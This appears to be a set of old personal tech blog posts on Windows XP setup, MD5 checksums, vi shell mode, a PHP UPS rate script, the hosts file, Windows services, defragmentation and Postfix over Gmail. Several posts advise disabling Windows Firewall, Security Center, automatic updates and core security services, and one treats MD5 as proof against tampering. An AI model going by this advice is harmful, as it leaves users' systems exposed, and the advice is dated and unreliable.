Show hidden files
Unhide file extensions
Show administrator tools on start menu
View by ‘list view’ and then apply to all folders.

Optimize Windows XP for Maximum Speed

Turn on fast minimize/maximize
Disable hard drive indexing
Disable System Restore
Disable startup and shutdown sounds

Disable useless windows services. Here are a few I usually disable immediately:

Disable security center (This is the FIRST to go. I can’t stand it)
Error reporting
Wireless Zero config (if I am not using wireless at the moment)
Remote Registry
Automatic updates (I update manually)
Background intelligent transfer
Cryptographic services
Windows Firewall (most computers are behind a router and windows firewall sucks anyways)

Miscellaneous Stuff

Delete unused Windows usernames
Map network drives if applicable
Map network printers if applicable
Ghost the fresh install with configurations and preferences so I only have to do this once.
Run JKDefrag

So… what do you do after a fresh install?

Verify What you Download by Calculating MD5 Sums in Windows

2008-01-08T00:00:00Z

Ever downloaded something that has a weird 32 digit number/letter combination next to the download link? Or a link called md5? These numbers are a sum of the programs bits using the md5 algorithm. What the md5 algorithm does is make calculations based on the bits that make up the program. If one bit is in the wrong place altered or changed in the program the resulting md5 number/letter combination, also known as a hash, will return a completely different combination. It is kind of like a fractal. If you add or subtract the tiniest amount of data the entire result is thrown off completely.

So why is this important? What the md5 algorithm allows programmers to do is give their users or downloaders of their software the guarantee that the downloaded file is delivered exactly as intended. It like comparing the DNA of the program to the original. The author is saying hey, here is the program’s “DNA”, da1e100dc9e7bebb810985e37875de38. Now when you calculate the md5 hash of the authors program, you can compare the “DNA” of the program and verify that it is an exact match. This proves that you have received the program that the author has intended to give you. What this means is that you can be certain that the program that you have downloaded does not contain extra information, like a virus, trojan, or rootkit that is attached to the original file.

Users of linux have used md5 to verify their programs for years with one simple command:

md5 filename

But for windows users it is a little bit more difficult since it is not installed with windows by default.

Making Windows Calculate Md5 Hashes

First you will need to download an md5 hashing program.

Now once you have the md5 program you can now calculate hashes with the windows command line but it is not very convenient for you point and click windows users.

To make it easier to calculate md5sums you should copy md5sums.exe to c:/windows/system32. This way you can calculate md5 hashes using the run command. To further make it easy to calculate md5sums create a shortcut in “c:/Documents and Settings/username/SendTo”. Called md5sums. Have the shortcut point to “c:/windows/system32/md5sums.exe -p”.

Now any time you want to calculate the md5 hash of a download just right click on the file choose send to > md5sums.exe.

Do you use md5 sums when you download files?

Use VI Functions in the Command Line

2007-12-12T00:00:00Z

If you are not familiar with the awesomeness of VI(m) check out this post, Making GVim your Default Text Editor in Gnome.

For those of you that already know that VI can save you time and give you a +10 on the geek scale, I have a tip for you.

You can use those same commands that you love in VI on your command line.

Setting up VI on your Command Line

To setup your VI commands on the command line simply type this at your command prompt, set -o vi then hit enter.

Thats it…

Now you can use VI commands in your terminal. For instance do delete the line type ‘dd’. to delete to the end of the line type ’d$‘. There are shortcuts for the command line without using VI but I find it easier to learn one set of commands and use them for everything.

Here is a list of of commonly used VI commands:

VI Commands

esc return to command mode; used by most change commands
h, j, k, l move the cursor around. h=left, j=down, k=up, l=right
^F move forward full screen
^B move back full screen
^U move up half screen
^D move down half screen
^L clear and redraw screen (^R)
w move forward to beginning of next word
W move forward to beginning of next word after space
e move cursor to end of word
E move cursor to next space
$ move cursor to end of line (3$ moves to end of third line)
b move cursor to beginning of word
B move cursor to previous space
0 (zero) move cursor to beginning of line
K invokes the man page for the word under the cursor (may only work in VI-improved which is available for most operating systems, including MS windows).
[[ goto beginning of section (use (, { or
]] reverse of [[
G go to indicated line # (enter number first)
/ search (enter string after / at bottom of screen)
n find next search instance
N reverse of n
% find matching (, ), [, ], {, or }
i insert text from current cursor position;
I insert text at start of line;
o opens a new line below cursor
O opens a new line above cursor
J joins next line to end of current line
r replace character under cursor
R enters replace (typeover) mode;
s substitute character under cursor with one or many;
S substitute whole line;
a appends after cursor;
A appends after current line;
cw change current word starting at cursor;
C change to end of line;
dw delete current word starting at cursor
dd delete current line; delete 3 lines (3dd)
D delete to end of line
yy yank data: yank 1 line (yy), yank 3 lines (3yy), yank lines below the cursor (yy) or above the cursor (yk), words (yw), from thecursor position to the end of the line (y$) or the beginning of the line(y0), characters to the right of the cursor (yl) or to the left (yh)
p put data yanked with y
u undo most recent change
. repeat most recent change-producing command

Weekend Link Roundup : Week 1

2007-12-01T00:00:00Z

In this post I am going to publish the links that I found interesting this week.

Firefox 3 vs Firefox 2 - Great comparison of Firefox 3 with Firefox 2. Nice one!

First Release Candidate of KDE 4.0 available - The KDE community released the first release candidate for the new major version, KDE 4.0. This release candidate marks that the majority of the components of KDE 4.0 are now approaching release quality. I can’t want to test kde4 as I have been pretty frustrated with gnome lately.

Banning Wikipedia at school: good idea or missed opportunity? - A Pennsylvania school district has banned access to Wikipedia on grounds that it is not an accurate source of information. Critics argue that it’s a missed opportunity to teach media literacy. - Wikipedia is by far the most informational website I have found on the majority of topics I search.

Massive list of tutorial websites - Read write web has a large list of tutorial websites. If you are bored and want to learn a cool trick or new skill check these out.

Always use protection - A funny picture… btw if you are still using Internet Explorer for your main browser I suggest that you switch to, Firefox.

Calculating UPS Shipping Rate with PHP

2007-11-27T00:00:00Z

Comments have also been disabled as this script is old and no longer being supported, if you need support please see: RocketShipIt

It’s actually very easy to calculate shipping from UPS with PHP once you know how. But at first glance it seems like an impossible task to do.

The UPS manual for XML shipping calculation is hundreds of pages long and unfortunately provides no examples written in PHP. Only ASP… Damn them! After hours of reading the UPS manual and lots of Google searching I figured out how to make my own and I thought I would share my method. So in today’s post we will look at an example ups rate calculation using PHP.

If you are looking for the United States Postal Service (USPS) function see, Calculating USPS Shipping Rates with PHP.

You can also integrate UPS Tracking features on your site once you get a handle on this.

Things you will need

UPS Online Tool Account - free but requires registration
UPS Access Key - Comes with the online tool account
cURL - Most LAMP (Linux, Apache, Mysql, PHP) web hosts have this installed by default.
PHP - You must know a little bit about using php. After all you are about to create a custom UPS shipping calculator.
XML - If you know what PHP is you should know what this is. If not read about it here.
SSH access - Many web hosts offer this. You don’t HAVE to have it but it makes troubleshooting easier.

Basically you start off by getting setup with UPS and grabbing a copy of their XML manual. Now you need to construct an XML file that will be later sent off to UPS’s server. UPS will then send a response back to you in XML format. We then use PHP to turn the XML into variables that we can use and manipulate. Even add the shipping cost into the subtotal or final checkout cost. After all, whats the use of calculating UPS shipping if you are not going to charge the user for it.

Copy the UPS PHP Function I have created into a new .txt file and name it ups.php.

Go through this function and find the parts in the XML file that are in CAPS, You will need to add your UPS shipper number, access key, username, password, departure zip, etc…

Then create another .php file and make sure to include ups.php.

It might look something like this:

require_once("ups.php")

Now all you have to do to get an accurate UPS rate for a package is call the ups function.

The basic syntax for the function is:

ups($dest_zip,$service,$weight,$length,$width,$height)

So, for example if you wanted to send a five pound package to Beverly Hills CA using UPS ground you would do this:

ups(90210,03,5,5,5,5)

Here is an already written php test file that uses the ups function.

By now you may be wondering how I know that 03 is the code for UPS ground and you also may be wondering what the code is for 2nd Day Air.

You can find all this information in the huge manual with the name dtk_RateXML_V1.zip. You can find this manual on the UPS website after you login under UPS Rates and Services Selection but to save you the time I have listed them below.

UPS Service Selection Codes

01 - UPS Next Day Air
02 - UPS Second Day Air
03 - UPS Ground
07 - UPS Worldwide Express
08 - UPS Worldwide Expedited
11 - UPS Standard
12 - UPS Three-Day Select
13 Next Day Air Saver
14 - UPS Next Day Air Early AM
54 - UPS Worldwide Express Plus
59 - UPS Second Day Air AM
65 - UPS Saver

Feel free to edit the function. The XML part of the code should be altered to fit your needs. This function only has the basic elements needed to calculate a rate. There are other attributes you can specify in the XML part of the document, such as pickup type, packaging type, etc…

Unlike some UPS Rate calculators you do not need to update the fuel surcharges or anything else. These rates come straight from UPS and are as accurate as your XML file has specified.

Troubleshooting

If it’s not working and you think you may have messed up the PHP code you can test to see if it is working by sending your XML file with curl.

Log into your host via SSH, make an xml file named RequestXML.txt. Then run this command.

curl -d @RequestXML.txt https://www.ups.com/ups.app/xml/Rate

If you want to use UPS’s testing server you can use this URL:

https://wwwcie.ups.com/ups.app/xml/Rate

Special Instructions for Godaddy

Godaddy requires a minor change in the ups function. After reading this article:

You need to have a proxy to use cURL on Godaddy.

So under this line: “curl_setopt($ch,CURLOPT_TIMEOUT, 60);”

add this: “curl_setopt($ch,CURLOPT_PROXY,’http://proxy.shr.secureserver.net:3128′);”

Information for Dreamhost Users

If you are using Dreamhost as your webhost, there is currently something wrong with the way they handle cURL. It takes almost 60 seconds to receive a response. This is not the script or UPS’s fault. As of 01-24-2008 I have a support ticket out to fix the problem. I am getting emails from them and I will update this post as soon as I get a fix or information from them.

Here are the emails I have received from Dreamhost regarding the issue:

On Thu, 24 Jan 2008, you wrote:

So I am using cURL to send a receive XML requests for the purposes of shipping products via UPS.

A year ago cURL responses were almost immediate. Today (and the last few months) they seem to take almost 60 seconds to send and receive the same XML file. Out of laziness on my part I have not complained about the issue until now. But I need to know what I can do to speed this up a bit.

Attached will be an example of the code I use.

Thanks in advance

Mark

We don’t really troubleshoot code but I would think the most likely explanation (since cURL in itself should be very fast) is that something changed with UPS’s site where it slowed down or the process keeps pending for some reason until it times out. You could try setting the timeout to a lower amount (15-20 seconds) and see if it still gets the data or not. Another thing to test the theory if its on USP’s site would be to make a regular static page which sends the same POST data to UPS’s site see how long it takes to fetch the results. Please let me know if you have any additional questions.

I guess I should have included this in my original email. I have tried this exact code on other hosting servers and it works almost instantly. I have indeed sshed and ran cURL by itself and it is extremely slow. This is definitely not a code issue or UPS slow server issue. I can send the same request via curl on my home computer and it is faster than dreamhost.

Please advise

Mark

Although normally we do not assist customers with third party software, I’ve dealt with similar issues in the past with UPS. Could you please send me the complete path of the PHP that’s running slowly? I can run some debugging software on it for you to see if there is anything hanging things up and anything I can do to fix it.

Thankyou for attempting to solve my issue. I still must insist that it is not a third party software issue. I believe this has nothing to do with UPS. As stated in my earlier email the PHP is not to blame here either. The problem lies within the response time of cURL.

To seperate php from the equation I went ahead and created an xml text file on my root directory on dreamhost. I then ran the following command:

curl -d @xml.txt https://www.ups.com/ups.app/xml/Rate

It took 56.853 seconds to receive a response from Dreamhost. I copied the same xml.txt file to my personal home computer and ran the same command and received a response in 1.2 seconds.

I will attach a log of the commands I ran.

As you can see it takes Dreamhost way longer to send/receive responses via curl. If you want to test it yourself you can run the same command I did from my home directory. The xml file is in there.

Thanks for your help in this matter. If you have any questions about my analysis please email.

Mark

Alright, I’ve run some tests and asked some admins their opinions and here are the results.

It appears that the slowness is because cURL is trying to reverse lookup the IP address for www.ups.com which is timing out. This is the culprit, but, unfortunately there is no easy fix for it if you must use cURL.

Here is the strace results:

connect(3, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr(“66.33.216.208”)}, 28) = 0 send(3, “\230\313\1\102500322801203153\7”…, 43, 0) = 43 gettimeofday({1201218751, 713629}, NULL) = 0 poll(

This is what it’s lagging on (as the DNS lookup takes 3-5 seconds to time out)

One quick option may be to instead use fopen for the URL – of course to do this you’ll need to install a custom PHP.ini file and customize it to allow_url_fopen ( http://wiki.dreamhost.com/PHP.ini )

Sorry about the semi-bad news. Of course if you have any other questions

Why would a reverse look up to a well known domain such as www.ups.com fail? Why can other webhosts receive cURL responses with out a hangup?

When you say that a reverse lookup is causing a 3-5 second timeout why is curl taking over 60 seconds to receive a response? I would be more than happy to have a 3-5 second response time.

Why did curl respond much faster on Dreamhost prior to 10/09/2007? (I looked back in my emails and found the date I started having slow response times)

Mark

Sorry for the delay in getting back to you…our support system has been pretty backlogged lately. The only explanation I can come up with is a quirky routing issue or something…I’ve seen it before, specifically with UPS, and the only solution was to use the IPs rather than the hostnames. I am sorry we don’t have a better solution for you. If it is possibly something on our end, we have no idea what it is, I’m afraid. I apologize for the hassle.

OpenBSD 4.2 was Released Today

2007-11-01T00:00:00Z

OpenBSD 4.2 has been released and available for download. OpenBSD is famous for its focus on security. Today, November 1st, the team is proud to announce Release 4.2.

Even though security is still there, this release comes with some amazing performance improvements: basic benchmarks showed PF being twice as fast, a rewrite of the TLB shootdown code for i386 and amd64 cut the time to do a full package build by 20 percent (mostly because all the forks in configure scripts have become much cheaper), and the improved frequency scaling on MP systems can help save nearly 20 percent of battery power.

Download OpenBSD 4.2

For greater convenience, the new 4.2 release also comes with roughly ~200MB full install ISO images called “install42.iso”. If you download this file, you do not need the other standard install files. Select

Mirror # 1: USA (200 MB ISO file)
Other http mirrors

Printing from the Linux Command Line

2007-10-31T00:00:00Z

So you have your printer set up with CUPS and you can now print. Ever want to print from the command line? Ever need your bash script to print out system status reports or simply want to print out entire directory of pdfs all in one shot without having to open each pdf individually? Than this quick tip is for you.

After you can successfully print and have your default printer setup in Linux. Open up the terminal. The command to print in Linux is ‘lpr’.

From here you can use the command just like you would any other Linux command. For example if you wanted to print out all pdf’s in a directory you would simply use the following command.

lpr *.pdf

I am sure you can find all kinds of ways to use this. Even ways to torment your co-workers by setting up a cron job lpr print that will print random sayings with ‘fortune’.

#!/bin/bash COUNTER=0 while [ $COUNTER -lt 10 ]; do sleep 10m fortune | lpr let COUNTER=COUNTER+1 done

To use this script open your favorite text editor and create a file with any name you want

vim randomFortunePrint

Then paste the code and save the file.

:wq

Then make the file executable by changing the permissions on your file to 755.

chmod 755 randomFortunePrint

Run your program with:

sh randomFortunePrint

Here is what mine said.

Q: Why did the astrophysicist order three hamburgers? A: Because he was hungry.

I am sure you can find more constructive ways to use this. :) Please let me know what kinds of things you guys come up with.

The Hosts File

2007-10-18T00:00:00Z

The hosts file is a text file that specifies names of IP addresses. You may recognize this name by the term, URL. Your computer’s operating system by default will always look up the name (url) of a site through your computer first. If your computer doesn’t know the name it then forwards the request to your router or ISP’s router. If that router doesn’t know the address it goes to the next router down the line and so on until one of the routers says, I know where this is at… and points you on your way.

Uses

So what is this file normally used for you ask? Well the host file can be used in various ways. Some people use the host file to name a computer on their network so they don’t have to type in the IP address every time they want to connect. The host file can be the first defense for blocking websites that you don’t want your kids to have access to. Although it is infeasible to block all bad sites on the internet, you can block myspace.com for example if you know your workers aren’t getting anything done because they are too busy checking up on john and sally. I know there are much better ways to block a site but this is a simple way that works for most situations.

Where can I find it?

In windows the host file is located here:

c:/Windows/System32/drivers/etc/hosts

and it looks like this by default:

# Copyright (c) 1993-2006 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
127.0.0.1       localhost
::1             localhost

As you can see near the bottom the name localhost is synonymes with 127.0.0.1 so instead remembering the number 127.0.0.1 you can simply type localhost. By the way 127.0.0.1 is the loopback IP address of your own computer. So to block myspace we would simple add a new line to the text file with the following:

127.0.0.1 www.myspace.com

Anytime you requested the page myspace it would try to contact your own computer instead of myspace. Since your own computer is not myspace it will show a page not found or blank page.

To add your routers IP address to the hosts file you might add a line similar to this:

192.168.1.1 WhateverNameYouWant

Anytime you typed WhateverNameYouWant it would redirect to 192.168.1.1.

Now for the real reason I am telling you about the hosts file

Now that I have showed you a little about how the host file works. I want to warn you that some malicious programs mostly (spyware/viruses/phishing programs) will alter your hosts file in very dangerous ways. It may be as “harmless” as redirecting you from www.google.com to a slightly different looking search engine so you will think you are searching with google but you are actually using their search engine that they get paid for each time you click on an ad instead of Google. A far more dangerous alteration of the host file could be a redirect of your online bank, ebay or popular online email site. You would think you are logging into your online bank when in actuality you would be logging into a fake replica bank site that would collect your credentials to be later used against you.

Whenever you suspect you have spyware, viruses, or other malware on your computer check your hosts file and make sure there isn’t anything you haven’t put in there.

Turn Off Unnecessary Windows Services

2007-10-17T00:00:00Z

Windows is notorious for having useless features and CPU resource hogging programs/services enabled by default. Today’s post is about removing some of the useless services. Services are kind of like startup programs, they are usually not necessary, they slow down your computer, and they slow down the boot up process; however, some are useful so thats why I have made a list of ones to get rid of.0 To turn off services in windows you go to Start > Run > Type: ‘services.msc’ > Double Click on the service you want to alter and change the startup type to disabled or manual as directed in the list of unnecessary services below.

If you are looking to further optimize your computer check out, Bloatware - Replace Slow Software with Faster Alternatives and What is Defragmentation.

Unnecessary Windows Services

AdobeLM Service: Not all computers have this service, still it is useless, just disable it if you have it.
Alerter: Disable this one if you are not on a network because you don’t need to receive alerts.
Application Management: Set this to manual.
Automatic Updates: Disable it if you don’t require auto updating and patching of Windows.
ClipBook: Disable this if you are not on a network, since you don’t need to share anything.
Computer Browser: Disable this too if you are not on a network, as you don’t need to browse and monitor connected computers.
Cryptographic Services: Set this to manual if you are not sure you need it.
Distributed Transaction Service: Set this to manual.
DNS Client: Set this to manual if you are not on a network.
Error Reporting Service: Disable this useless service for reporting errors to Microsoft. After all, it doesn’t help you solve the problem.
Fast User Switching Compatibility: Disable it if you have only a single user on your computer, or if you do not use fast user switching feature much. That is, if you completely log-off and then allow other users to use your computer, then you do not need this. Note that this service is completely useless for low memory computers.
FTP Publishing: Disable this if you do not use FTP.
Help and Support: Set it to manual or turn it off if you do not use the help feature often.
HTTP SSL: Set it to manual.
Human Interface Device Access: Turn it off if you do not use hot-keys or remote systems on your computer; if you use them sometimes, it is better turn it to manual.
IMAPI CD-Burning COM Service: Set this to manual to save memory and time. Do not turn it to disabled if you have a CD writer or a DVD writer attached to your computer.
Indexing Service: Turn it off, it uses lots of CPU
InstallDriver Table Manager: Disable it.
IPSEC Services: Set this to manual.
Windows Messenger: Disable this if you are not on a network, it uses too much memory and it is a hog. Use Gaim instead.
MS Software Shadow Copy Provider: Set this to manual.
Net Logon: Disable if you are not on a network.
NetMeeting Remote Desktop Sharing: Disable this if you do not use Remote Desktop feature.
Network Provisioning Service: Disable this, it’s useless if you are not on a network.
NT LM Security Support Provider: Disable this, its useless too.
NVIDIA Display Driver Service: If you do not use the features of nVidia Desktop, this service must be disabled; it is a big hog of memory.
Office Source Engine: Disable it if you have a MS Office CD handy always, its helpful if your installation goes corrupt.
Portable Media Serial Number Service: Set it to manual if you connect portable media to your computer, otherwise disable it.
Print Spooler: Disable it if you don’t have a printer.
Protected Storage: Disable it if you don’t allow strangers to sit on your encrypted storage computer.
Remote Desktop Help Session Manager: Disable it if you don’t use Remote Desktop feature for help and support from Microsoft. You don’t get support from Microsoft usually anyways.
Remote Procedure Call Locator: Set it to manual.
Remote Registry: Serious security threat if turned on, disable it now!
Removable Storage: Disable it if you don’t use removable storage drives, else turn it manual.
Routing and Remote Access: Set it to manual.
Secondary Logon: Useless feature for most, disable it or turn it manual.
Security Accounts Manager: Disable it, it’s pretty useless, unless you use NTFS Encryption.
Security Center: Damn useless and irritating feature. Disable it as soon as you can!
Server: Set it to manual or disable it if you are not on network.
Smart Card: Disable it. Seriously who uses smart cards for their home computers?
SSDP Discovery Service: Disable it of not on network or don’t have UPnP devices on home networks.
TCP/IP NetBIOS Helper: Set it to manual if on network, otherwise disable it.
Telnet: Set it to manual if you use this feature, otherwise disable it, especially if you are home users.
Terminal Services: Since you aren’t using Remote Desktop etc… disable it for good.
Uninterrupted Power Supply: Disable it if you don’t have an UPS attached to the serial port of your computer.
Universal Plug and Play Device Host: Set it to manual.
User Privilege Service: Set it to manual.
Volume Shadow Copy: Disable it if you don’t backup using System Restore or Windows Backup. I recommend Ghost.
Windows Firewall/Internet Connection Sharing (ICS): Disable this if you have another firewall such as Norton or Zone Alarm installed, otherwise let it remain ON for better security.
Windows Image Acquisition (WIA): If you don’t connect/use a camera/scanner with your computer, disable this service, else set it to manual.
Windows Media Connect: Disable this if you don’t use things such as an iPod etc… for your Windows Media Player.
Windows Media Connect (WMC) Helper: Disable this if you disabled the one above or if you don’t need help.
Windows Time: Disable if not on a synchronized network.
Wireless Zero Configuration: Disable if not on a wireless network.
WMI Performance Adapters: Disable it, useless service for basic usage.
Workstation: Disable if you aren’t on a network. Or simply, if you are a gamer, just shut this one.

Bloatware - Replace Slow Software with Faster Alternatives

2007-10-16T00:00:00Z

What is Bloatware?

Bloatware is any program that uses significantly more system resources than needed to get the job done that the program was originally intended for. Bloatware can also mean a program that comes bundled with other unnecessary programs or unused features and modules.

Why do they do it?

Bloatware has become common today due to various reasons. The first one is due to the massive improvements in computer processing speed. Many programmers simply disregard older machines and argue that the computer is so fast that even if we program the software poorly it will be unnoticeable to a fast computer. Programs today are often developed rapidly in order to compete with the next new program, technology or feature so programmers often do not have the time it takes to properly design and implement quality software. Since there are many programs that get the same job done it is common that software companies will release a new version of the same program with just one added (often useless) feature that adds to the size of the program and/or makes the program run less than optimal.

Examples of Bloatware

Here are some examples of software I believe have unnecessary modules, unused features, or simply run inefficient:

Adobe Acrobat Reader Windows Media Player Quicktime Realtime Itunes WinDVD (pretty much any DVD software) Windows Live Messenger Nero

Alternatives to Bloatware

Foxit reader Media Player Classic Quicktime Alternative Realtime Alternative Winamp 2.91 (Not the current version) Foobar2000 Pidgin Infrarecorder

You may also want to check out my recommended software.

Please leave any other slow bloated software you can think of in the comments below and I will add them to my list.

Defragmenting Your Hard Drive

2007-10-15T00:00:00Z

What is Defragmentation?

Well defragmentation is the undoing of fragmentation. Fragmentation is described as the disarray of files stored in an inefficient manner. In other words, your computer is fast and lazy. It stores files wherever it pleases without giving much thought of how it is going to find the file in the future. Your computer is like a mechanic that forgets to put his/her tools away when they are done with them and can’t find them without a hunt around the garage. What defragmentation does is go through all the files and places them in a manner in which it is easy to find for later retrieval, thus speeding up the time it takes to find files on your computer.

How often do I need to do it?

As often as necessary…seriously. You need to run a check whenever you feel your computer could use a quick defrag. If the windows defrag says you need to defrag, then go ahead and do it. If you haven’t done a defrag or this is the first time that you heard of the concept you probably need to do it.

What can I expect?

Don’t expect to see blistering speed and increased performance from a simple defrag. Defragmentation will increase the speed of programs loading and decrease the time it takes to search for files but if you are experiencing extremely slow computer performance you probably have spyware/adware. Possibly even bloatware.

So how do you do it you ask?

Defragmentation for Windows XP

Checking if you need to defrag

Click Start, point to All Programs, point to Accessories, point to System Tools, and then click Disk Defragmenter.
Click the drive that you want to analyze.
Click Analyze to begin the analysis.
Review the results of the analysis after it is complete by clicking View Report. If the analysis tool recommends that the volume be defragmented, follow the steps in the next section.

Defragment the Disk

If the Disk Defragmenter tool is not already running, click Start, point to All Programs, point to Accessories, point to System Tools, and then click Disk Defragmenter.
Click the drive that you want to defragment.
Click Defragment to begin the operation.
Review the progress of the operation in the Defragmentation Display window. Fragmented files on the disk appear in red, contiguous files are blue, and system files are green. The goal is to eliminate most of the red in the window.

Defragmentation for Windows Vista

Windows Vista seems to enable scheduled disk degrags once a week by default so you should be ok. To see if you need to defrag go to Start > All Programs > Accessories > System Tools > Disk Defragmenter.

Alternative to the Windows Defragmenter

For a commercial program for disk degramentation that might be faster and use less resources try diskeeper. www.diskeeper.com website for more information.

Send Mail Postfix through Gmail's SMTP on a Ubuntu LTS Server

2007-10-01T00:00:00Z

After looking on the internet for awhile I finally found a decent guide on how to setup Gmail SMTP through postifx; however, after following the guide I found that it left parts out or things didn’t work quite the same on a Ubuntu server. This guide is intended to get Gmail’s SMTP set up through postifx on a LTS Ubuntu server quickly and without too much information about other operating systems; although, you could probably adapt the guide to work on other systems.

Google’s Gmail service requires the protocols TLS and SASL2 to be built into Postfix. Luckily this is already done on the Ubuntu LTS Server.

In order to communicate with google we need to have Gmail’s certificate authority and we need to generate our own Certificate Authority (CA).

Step 1: Create a Certificate Authority

Since we will be creating temporary files and will want to delete them later, Change the directory to your home directory so we don’t forget to delete them later and leave what I call “mouse turds” laying around. cd ~

Create the CA $ /usr/lib/ssl/misc/CA.pl -newca CA certificate filename (or enter to create)

Making CA certificate … Generating a 1024 bit RSA private key …….++++++ ……………….++++++ writing new private key to ‘./demoCA/private/cakey.pem’ Enter PEM pass phrase: password

Verifying - Enter PEM pass phrase: password

You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value,

If you enter ‘.’, the field will be left blank.

Country Name (2 letter code) [US]:US State or Province Name (full name) [New York]:New York Locality Name (eg, city) []:New York Organization Name (eg, company) []:Sanborn_Widgets

Organizational Unit Name (eg, section) []: Common Name (eg, YOUR name) []:Mark Email Address []:username@gmail.com

Please enter the following ‘extra’ attributes to be sent with your certificate request A challenge password []: An optional company name []: Using configuration from /usr/lib/ssl/openssl.cnf Enter pass phrase for ./demoCA/private/cakey.pem: Check that the request matches the signature Signature ok

Step 2: Create a Server Certificate

Since these values have to match with the CA you just created. You may want to keep that output of what you just did to reference it for the next command. You can do this by opening another console or virtual terminal and switch back and forth between them.

openssl req -new -nodes -subj '/CN=domain.com/O=Sanborn_Widgets/C=US/ST=New York/L=New York/emailAddress=username@gmail.com' -keyout FOO-key.pem -out FOO-req.pem -days 3650

Step 3: Sign the Certificate

openssl ca -out FOO-cert.pem -infiles FOO-req.pem

Using configuration from /usr/lib/ssl/openssl.cnf Enter pass phrase for ./demoCA/private/cakey.pem: Check that the request matches the signature Signature ok

Then press y for anything else it asks.

Step 4: Copy the certificates to the Postfix folder

cp demoCA/cacert.pem FOO-key.pem FOO-cert.pem /etc/postfix

chmod 644 /etc/postfix/FOO-cert.pem /etc/postfix/cacert.pem

chmod 400 /etc/postfix/FOO-key.pem

Gmail uses the Thawte Premium Server CA. You need to add this to the end of /etc/postfix/cacert.pem

Alternative Method

If you do not trust me or don’t feel comfortable copying CA certs from me you can get it from www.thawte.com/roots and download all of the certs from them. The file is called, ‘ThawtePremiumServerCA_b64.txt’.

The following code would put it in cacert.pem from the ThawtePremiumServerCA_b64.txt

cat ThawtePremiumServerCA_b64.txt >>cacert.pem

If you want to understand how this command works I recommend checking out, Getting Familiar with the Linux Command Line.

Step 5: Add these lines to the bottom of /etc/postfix/main.cf

Note: When I first added these lines I had a space in front of the first line which would give me errors when trying to run postfix. The only problem was the error was misleading saying there was something wrong with the line above steering me into the wrong direction and I ended up trouble shooting something that wasn’t broke. So make sure you have copied these lines exactly into the bottom of main.cf without and spaces in front of any of the lines.

`## TLS Settings # smtp_tls_CAfile = /etc/postfix/cacert.pem smtp_tls_cert_file = /etc/postfix/FOO-cert.pem smtp_tls_key_file = /etc/postfix/FOO-key.pem smtp_tls_session_cache_database = btree:/var/run/smtp_tls_session_cache smtp_use_tls = yes smtpd_tls_CAfile = /etc/postfix/cacert.pem smtpd_tls_cert_file = /etc/postfix/FOO-cert.pem smtpd_tls_key_file = /etc/postfix/FOO-key.pem smtpd_tls_received_header = yes smtpd_tls_session_cache_database = btree:/var/run/smtpd_tls_session_cache smtpd_use_tls = yes tls_random_source = dev:/dev/urandom #

SASL Settings

This is going in to THIS server

smtpd_sasl_auth_enable = no

We need this

smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd smtpd_sasl_local_domain = $myhostname smtp_sasl_security_options = noanonymous #smtp_sasl_security_options = smtp_sasl_tls_security_options = noanonymous smtpd_sasl_application_name = smtpd`

Step 7: Create the transport file

`# Contents of /etc/postfix/transport #

This sends mail to Gmail

gmail.com smtp:[smtp.gmail.com]:587 #`

Step 8: Create the SASL password

Replace username/password with your actual username and password.

#contents of sasl_passwd # [smtp.gmail.com]:587 username@gmail.com:password

Step 9: Hash the password and transport files

postmap sasl_passwd && postmap transport

Step 10: Restart the postfix server and clean up

Enter the following command as root to restart postfix: /etc/init.d/postfix restart

Go to your home directory where you made the temporary .pem files in step 1. cd ~

Clean up the mouse turds! :) rm FOO-req.pem FOO-cert.pem FOO-key.pem && rm -r demoCA/

Does it work?

Send a test email to yourself, replace username with your actual username. Note this is a test and it only tests to see if it WOULD send. You will not get an email in your Gmail inbox. sendmail -bv username@gmail.com

Check to see if it went cat /var/log/mail.log | tail

If everything went ok you will see something like this in the log Oct 1 12:22:04 localhost postfix/smtp[21389]: 671AD676BF: to=, relay=smtp.gmail.com[123.233.169.109], delay=3, status=deliverable (delivery via smtp.gmail.com[123.233.169.109]: 250 2.1.5 OK)

If it didn’t work out you will see this in the log Oct 1 12:21:57 localhost postfix/local[21381]: 4E5BA676BF: to=, orig_to=, relay=local, delay=0, status=undeliverable (delivery via local: unknown user: "user")

Alternative Method

After issuing the sendmail command you can check to see if it worked by checking your local email with any email client. I used mutt.

You can also check the email queue with postqueue -p

And deleting all messages in queue with postsuper -d ALL

If all goes well you should know have a working outgoing email server through Gmail’s SMTP. Now you can write scripts on your server to alert you of all sorts of things happening on your server.

Getting Familiar with the Linux Command Line

2007-09-25T00:00:00Z

Navigating and Moving Files Around

The first thing you need to know about navigation the unix world is the difference between ‘/textFile.txt’ and ‘textFile.txt’. Notice the ‘/’ in front of the first example. This means start at the root directory and look for textFile.txt. Where the later example says look in the current directory for textFile.txt. Users comming from windows might recognize the root directory as c:/ where the current directory might be ‘Documents and Settings’ or /home/username/docs/.

pwd - Print working directory This command is useless if you Customize your PS1 to include the pwd command. Example: pwd Output: /home/username/ Explanation: This will tell you what directory you are currently in.

ls - List the directory Example: ls Explanation: This will show you the contents of non-hidden files and directories in your working path (see the command above)

Example: ls -a Explanation: This will show you the contents of ALL files and directories in your working path.

cd - Change directory Example: cd /var/log Example: cd .. (brings you to /var) Explanation: Move up, down, or to a completely new directory

cp - Copy Example: cp /etc/SomeConfigFile.txt /home/username/SomeConfigFile.html Explanation: This will copy the file ‘SomeConfigFile.txt’ in the directory /etc and place it in the directory /home/username while renaming it to include an html extention.

mv - Move / Rename Example: mv /home/username/MyPic.jpg /home/username/vacation/Mypic.jpg Explanation: This is like cutting and pasting a file in windows. This is cutting the file MyPic and pasting it into the folder /home/username/vacation/Mypic.jpg

Example: mv /home/username/MyPic.jpg /home/username/Mypic092507.jpg Explanation: This will rename the file MyPic.jpg to include the date, Mypic092507.jpg.

